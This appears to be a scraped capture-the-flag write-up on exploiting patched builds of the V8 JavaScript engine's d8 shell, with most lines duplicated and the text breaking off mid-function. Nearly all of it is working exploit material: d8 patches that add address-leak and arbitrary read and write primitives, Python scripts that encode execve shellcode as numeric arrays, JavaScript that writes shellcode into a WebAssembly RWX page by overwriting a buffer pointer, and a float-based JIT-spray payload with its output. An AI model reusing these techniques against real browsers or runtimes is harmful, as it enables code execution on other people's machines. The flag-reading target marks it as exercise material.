a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..40a762c24c8 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true);+ SimpleInstallFunction(isolate_, proto, "run",+ Builtin::kArrayRun, 0, false); SimpleInstallFunction(isolate_, proto, "concat", Builtin::kArrayPrototypeConcat, 1, false); SimpleInstallFunction(isolate_, proto, "copyWithin",from pwn import *context.arch = 'amd64'context.os = 'linux'shellcode = shellcraft.execve("/challenge/catflag", 0, 0)output = asm(shellcode)print(f"Shellcode 长度: {len(output)} 字节")if len(output) % 8 != 0: padding = 8 - (len(output) % 8) output += b'\x00' * padding print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")bigint_array = []for i in range(0, len(output), 8): chunk = output[i:i+8] value = int.from_bytes(chunk, 'little') bigint_array.append(f"{value}n")js_array = "var shellcode = [\n " + ",\n ".join(bigint_array) + "\n];"print("\nJavaScript BigInt 数组格式:")print(js_array)from pwn import *context.arch = 'amd64'context.os = 'linux'shellcode = shellcraft.execve("/challenge/catflag", 0, 0)output = asm(shellcode)print(f"Shellcode 长度: {len(output)} 字节")if len(output) % 8 != 0: padding = 8 - (len(output) % 8) output += b'\x00' * padding print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")bigint_array = []for i in range(0, len(output), 8): chunk = output[i:i+8] value = int.from_bytes(chunk, 'little') bigint_array.append(f"{value}n")js_array = "var shellcode = [\n " + ",\n ".join(bigint_array) + "\n];"print("\nJavaScript BigInt 数组格式:")print(js_array)var shellcode = [ 2608851925472796776n, 7307011539825918209n, 5210783956162667311n, 7308335460934430648n, 3589986723478130798n, 5563462937334n];var shellcode = [ 2608851925472796776n, 7307011539825918209n, 5210783956162667311n, 7308335460934430648n, 3589986723478130798n, 5563462937334n];function ToDoubleArray(raw) { let buf = new ArrayBuffer(raw.length * 8); let dataview = new DataView(buf); for (let i = 0; i < raw.length; ++i){ dataview.setBigUint64(i * 8, raw[i], true); } const res = new Float64Array(buf); return Array.from(res);}function ToDoubleArray(raw) { let buf = new ArrayBuffer(raw.length * 8); let dataview = new DataView(buf); for (let i = 0; i < raw.length; ++i){ dataview.setBigUint64(i * 8, raw[i], true); } const res = new Float64Array(buf); return Array.from(res);}from pwn import *context.arch = 'amd64'context.os = 'linux'shellcode = shellcraft.execve("/challenge/catflag", 0, 0)output = asm(shellcode)print(f"Shellcode 长度: {len(output)} 字节")if len(output) % 8 != 0: padding = 8 - (len(output) % 8) output += b'\x00' * padding print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")import structdouble_array = []for i in range(0, len(output), 8): chunk = output[i:i+8] value = struct.unpack('<Q', chunk)[0] double_val = struct.unpack('<d', chunk)[0] double_array.append(repr(double_val))js_array = "var shellcode = [\n " + ",\n ".join(double_array) + "\n];"print("\nJavaScript double 数组格式:")print(js_array)from pwn import *context.arch = 'amd64'context.os = 'linux'shellcode = shellcraft.execve("/challenge/catflag", 0, 0)output = asm(shellcode)print(f"Shellcode 长度: {len(output)} 字节")if len(output) % 8 != 0: padding = 8 - (len(output) % 8) output += b'\x00' * padding print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")import structdouble_array = []for i in range(0, len(output), 8): chunk = output[i:i+8] value = struct.unpack('<Q', chunk)[0] double_val = struct.unpack('<d', chunk)[0] double_array.append(repr(double_val))js_array = "var shellcode = [\n " + ",\n ".join(double_array) + "\n];"print("\nJavaScript double 数组格式:")print(js_array)➜ release git:(5a2307d0f2c) ✗ python3 shellcode.py Shellcode 长度: 46 字节已填充 2 字节,总长度: 48 字节JavaScript double 数组格式:var shellcode = [ 2.820972645905851e-134, 3.0758087950517603e+180, 2.2354425876138794e+40, 3.68572438550025e+180, 1.054512194375715e-68, 2.748715909248e-311];➜ release git:(5a2307d0f2c) ✗ python3 shellcode.py Shellcode 长度: 46 字节已填充 2 字节,总长度: 48 字节JavaScript double 数组格式:var shellcode = [ 2.820972645905851e-134, 3.0758087950517603e+180, 2.2354425876138794e+40, 3.68572438550025e+180, 1.054512194375715e-68, 2.748715909248e-311];// function ToDoubleArray(raw) {// let buf = new ArrayBuffer(raw.length * 8);// let dataview = new DataView(buf);// for (let i = 0; i < raw.length; ++i){// dataview.setBigUint64(i * 8, raw[i], true);// }// const res = new Float64Array(buf);// return Array.from(res);// }// var shellcode = [// 2608851925472796776n,// 7307011539825918209n,// 5210783956162667311n,// 7308335460934430648n,// 3589986723478130798n,// 5563462937334n// ];// shellcode = ToDoubleArray(shellcode);// shellcode.run();var shellcode = [ 2.820972645905851e-134, 3.0758087950517603e+180, 2.2354425876138794e+40, 3.68572438550025e+180, 1.054512194375715e-68, 2.748715909248e-311];shellcode = shellcode;shellcode.run();// function ToDoubleArray(raw) {// let buf = new ArrayBuffer(raw.length * 8);// let dataview = new DataView(buf);// for (let i = 0; i < raw.length; ++i){// dataview.setBigUint64(i * 8, raw[i], true);// }// const res = new Float64Array(buf);// return Array.from(res);// }// var shellcode = [// 2608851925472796776n,// 7307011539825918209n,// 5210783956162667311n,// 7308335460934430648n,// 3589986723478130798n,// 5563462937334n// ];// shellcode = ToDoubleArray(shellcode);// shellcode.run();var shellcode = [ 2.820972645905851e-134, 3.0758087950517603e+180, 2.2354425876138794e+40, 3.68572438550025e+180, 1.054512194375715e-68, 2.748715909248e-311];shellcode = shellcode;shellcode.run();git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/releasegit reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ffgclient sync -Dgit apply < ./patchgn gen out/release➜ release git:(5a2307d0f2c) ✗ cat args.gn # Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = false➜ release git:(5a2307d0f2c) ✗ cat args.gn # Set build arguments here. See `gn help buildargs`.is_component_build = falseis_debug = falsetarget_cpu = "x64"v8_enable_sandbox = falsev8_enable_backtrace = truev8_enable_disassembler = truev8_enable_object_print = truedcheck_always_on = falseuse_goma = falsev8_code_pointer_sandboxing = falseautoninja -C out/release d8autoninja -C out/release d8+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsNumber(*arg)) {+ isolate->ThrowError("Argument should be a number");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ uint32_t result = *(uint32_t *)full_addr;+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));+}+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsNumber(*arg)) {+ isolate->ThrowError("Argument should be a number");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ uint32_t result = *(uint32_t *)full_addr;+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));+}+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 2) {+ isolate->ThrowError("Need exactly 2 arguments");+ return;+ }+ internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);+ internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);+ if (!IsNumber(*arg1) || !IsNumber(*arg2)) {+ isolate->ThrowError("Arguments should be numbers");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));+ uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ *(uint32_t *)full_addr = value;+}+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 2) {+ isolate->ThrowError("Need exactly 2 arguments");+ return;+ }+ internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);+ internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);+ if (!IsNumber(*arg1) || !IsNumber(*arg2)) {+ isolate->ThrowError("Arguments should be numbers");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));+ uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ *(uint32_t *)full_addr = value;+}diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..6b31fe2c371 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -1283,6 +1283,64 @@ struct ModuleResolutionData { } // namespace +void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}++void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsNumber(*arg)) {+ isolate->ThrowError("Argument should be a number");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ uint32_t result = *(uint32_t *)full_addr;+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));+}++void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 2) {+ isolate->ThrowError("Need exactly 2 arguments");+ return;+ }+ internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);+ internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);+ if (!IsNumber(*arg1) || !IsNumber(*arg2)) {+ isolate->ThrowError("Arguments should be numbers");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));+ uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ *(uint32_t *)full_addr = value;+}+ void Shell::ModuleResolutionSuccessCallback( const FunctionCallbackInfo<Value>& info) { DCHECK(i::ValidateCallbackInfo(info));@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+ global_template->Set(isolate, "GetAddressOf",+ FunctionTemplate::New(isolate, GetAddressOf));+ global_template->Set(isolate, "ArbRead32",+ FunctionTemplate::New(isolate, ArbRead32));+ global_template->Set(isolate, "ArbWrite32",+ FunctionTemplate::New(isolate, ArbWrite32));+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/d8/d8.h b/src/d8/d8.hindex a19d4a0eae4..476675a7150 100644--- a/src/d8/d8.h+++ b/src/d8/d8.h@@ -507,6 +507,9 @@ class Shell : public i::AllStatic { }; enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone }; + static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args); static bool ExecuteString(Isolate* isolate, Local<String> source, Local<String> name, ReportExceptions report_exceptions,diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..6b31fe2c371 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -1283,6 +1283,64 @@ struct ModuleResolutionData { } // namespace +void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}++void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsNumber(*arg)) {+ isolate->ThrowError("Argument should be a number");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ uint32_t result = *(uint32_t *)full_addr;+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));+}++void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 2) {+ isolate->ThrowError("Need exactly 2 arguments");+ return;+ }+ internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);+ internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);+ if (!IsNumber(*arg1) || !IsNumber(*arg2)) {+ isolate->ThrowError("Arguments should be numbers");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));+ uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ *(uint32_t *)full_addr = value;+}+ void Shell::ModuleResolutionSuccessCallback( const FunctionCallbackInfo<Value>& info) { DCHECK(i::ValidateCallbackInfo(info));@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates( Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+ global_template->Set(isolate, "GetAddressOf",+ FunctionTemplate::New(isolate, GetAddressOf));+ global_template->Set(isolate, "ArbRead32",+ FunctionTemplate::New(isolate, ArbRead32));+ global_template->Set(isolate, "ArbWrite32",+ FunctionTemplate::New(isolate, ArbWrite32));+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/ return global_template; }diff --git a/src/d8/d8.h b/src/d8/d8.hindex a19d4a0eae4..476675a7150 100644--- a/src/d8/d8.h+++ b/src/d8/d8.h@@ -507,6 +507,9 @@ class Shell : public i::AllStatic { }; enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone }; + static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args); static bool ExecuteString(Isolate* isolate, Local<String> source, Local<String> name, ReportExceptions report_exceptions,var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u8 = new Uint8Array(buf);var u16 = new Uint16Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function stop(){ %SystemBreak();}function p(arg){ %DebugPrint(arg);}function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}function copy_shellcode_to_rwxpage(){ let buf = new ArrayBuffer(0x20); let view = new DataView(buf); let backing_store_addr = GetAddressOf(view)-0x14; p(view); logg("backing_store_addr",backing_store_addr); let backing_store_lo = ArbRead32(backing_store_addr); let backing_store_hi = ArbRead32(backing_store_addr+0x4); var backing_store = BigInt(backing_store_hi) * 4294967296n + BigInt(backing_store_lo) logg("backing_store",backing_store); ArbWrite32(backing_store_addr,rwx_page_addr_lo); ArbWrite32(backing_store_addr+4,rwx_page_addr_hi); // 出现check for (let i = 0; i < shellcode.length; ++i){ view.setBigUint64(i * 0x8, shellcode[i], true); }}var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n];for(let i = 0; i< 10000; i++) shellcode();var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var instance = new WebAssembly.Instance(wasmModule, {});var pwn = instance.exports.main;var instance_addr = GetAddressOf(instance);var trusted_data = ArbRead32(instance_addr+0xc);var rwx_page_addr_lo = ArbRead32(trusted_data+0x30-1);var rwx_page_addr_hi = ArbRead32(trusted_data+0x30-1+4);var rwx_page_addr = BigInt(rwx_page_addr_hi) * 4294967296n + BigInt(rwx_page_addr_lo)console.log(typeof rwx_page_addr_lo);p(wasmCode)p(instance)logg("instance_addr",instance_addr);logg("trusted_data",trusted_data);logg("rwx_page_addr_lo",rwx_page_addr_lo);logg("rwx_page_addr_hi",rwx_page_addr_hi);logg("rwx_page_addr",rwx_page_addr);copy_shellcode_to_rwxpage();spin();var buf = new ArrayBuffer(8);var f32 = new Float32Array(buf);var f64 = new Float64Array(buf);var u8 = new Uint8Array(buf);var u16 = new Uint16Array(buf);var u32 = new Uint32Array(buf);var u64 = new BigUint64Array(buf);function stop(){ %SystemBreak();}function p(arg){ %DebugPrint(arg);}function spin(){ while(1){};}function hex(str){ return str.toString(16).padStart(16,0);}function logg(str,val){ console.log("[+] "+ str + ": " + "0x" + hex(val));}function copy_shellcode_to_rwxpage(){ let buf = new ArrayBuffer(0x20); let view = new DataView(buf); let backing_store_addr = GetAddressOf(view)-0x14; p(view); logg("backing_store_addr",backing_store_addr); let backing_store_lo = ArbRead32(backing_store_addr); let backing_store_hi = ArbRead32(backing_store_addr+0x4); var backing_store = BigInt(backing_store_hi) * 4294967296n + BigInt(backing_store_lo) logg("backing_store",backing_store); ArbWrite32(backing_store_addr,rwx_page_addr_lo); ArbWrite32(backing_store_addr+4,rwx_page_addr_hi); // 出现check for (let i = 0; i < shellcode.length; ++i){ view.setBigUint64(i * 0x8, shellcode[i], true); }}var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n];for(let i = 0; i< 10000; i++) shellcode();var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);var instance = new WebAssembly.Instance(wasmModule, {});var pwn = instance.exports.main;var instance_addr = GetAddressOf(instance);var trusted_data = ArbRead32(instance_addr+0xc);var rwx_page_addr_lo = ArbRead32(trusted_data+0x30-1);var rwx_page_addr_hi = ArbRead32(trusted_data+0x30-1+4);var rwx_page_addr = BigInt(rwx_page_addr_hi) * 4294967296n + BigInt(rwx_page_addr_lo)console.log(typeof rwx_page_addr_lo);p(wasmCode)p(instance)logg("instance_addr",instance_addr);logg("trusted_data",trusted_data);logg("rwx_page_addr_lo",rwx_page_addr_lo);logg("rwx_page_addr_hi",rwx_page_addr_hi);logg("rwx_page_addr",rwx_page_addr);copy_shellcode_to_rwxpage();spin();const shellcode = () => {return [ 1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];}for(let i = 0; i< 0x10000; i++){ shellcode();}p(shellcode);var shellcode_addr = GetAddressOf(shellcode);const shellcode = () => {return [ 1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];}for(let i = 0; i< 0x10000; i++){ shellcode();}p(shellcode);var shellcode_addr = GetAddressOf(shellcode);from pwn import *context(arch='amd64')jmp = b'\xeb\x0c'shell_hi = 0x0067616cshell_lo = 0x66746163def make_double(code): assert len(code) <= 6 print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])make_double(asm("mov eax,%d" % (0x0067616c)))make_double(asm("mov ebx,%d" % (0x66746163)))make_double(asm("shl rax, 0x20"))make_double(asm("add rax,rbx;push rax"))make_double(asm("mov rdi, rsp;xor esi, esi;"))code = asm("xor edx, edx;push 0x3b; pop rax; syscall")assert len(code) <= 8print(hex(u64(code.ljust(8, b'\x90')))[2:])from pwn import *context(arch='amd64')jmp = b'\xeb\x0c'shell_hi = 0x0067616cshell_lo = 0x66746163def make_double(code): assert len(code) <= 6 print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])make_double(asm("mov eax,%d" % (0x0067616c)))make_double(asm("mov ebx,%d" % (0x66746163)))make_double(asm("shl rax, 0x20"))make_double(asm("add rax,rbx;push rax"))make_double(asm("mov rdi, rsp;xor esi, esi;"))code = asm("xor edx, edx;push 0x3b; pop rax; syscall")assert len(code) <= 8print(hex(u64(code.ljust(8, b'\x90')))[2:])➜ release git:(5a2307d0f2c) ✗ python3 rop.pyceb900067616cb8ceb9066746163bbceb909020e0c148ceb909050d80148ceb90f631e7894890050f583b6ad231➜ release git:(5a2307d0f2c) ✗ python3 rop.pyceb900067616cb8ceb9066746163bbceb909020e0c148ceb909050d80148ceb90f631e7894890050f583b6ad231function convertShellcode() { const shellcodeInts = [ 0xceb900067616cb8n, 0xceb9066746163bbn, 0xceb909020e0c148n, 0xceb909050d80148n, 0xceb90f631e78948n, 0x90050f583b6ad231n ]; const shellcodeFloats = []; const buffer = new ArrayBuffer(8); const view = new DataView(buffer); for (const int of shellcodeInts) { view.setBigUint64(0, int, true); const float = view.getFloat64(0, true); shellcodeFloats.push(float); } return shellcodeFloats;}const shellcode = convertShellcode();console.log("const shellcode = () => {return [");shellcode.forEach((num, index) => { console.log(` ${num}${index < shellcode.length - 1 ? ',' : ''}`);});console.log("];}");function convertShellcode() { const shellcodeInts = [ 0xceb900067616cb8n, 0xceb9066746163bbn, 0xceb909020e0c148n, 0xceb909050d80148n, 0xceb90f631e78948n, 0x90050f583b6ad231n ]; const shellcodeFloats = []; const buffer = new ArrayBuffer(8); const view = new DataView(buffer); for (const int of shellcodeInts) { view.setBigUint64(0, int, true); const float = view.getFloat64(0, true); 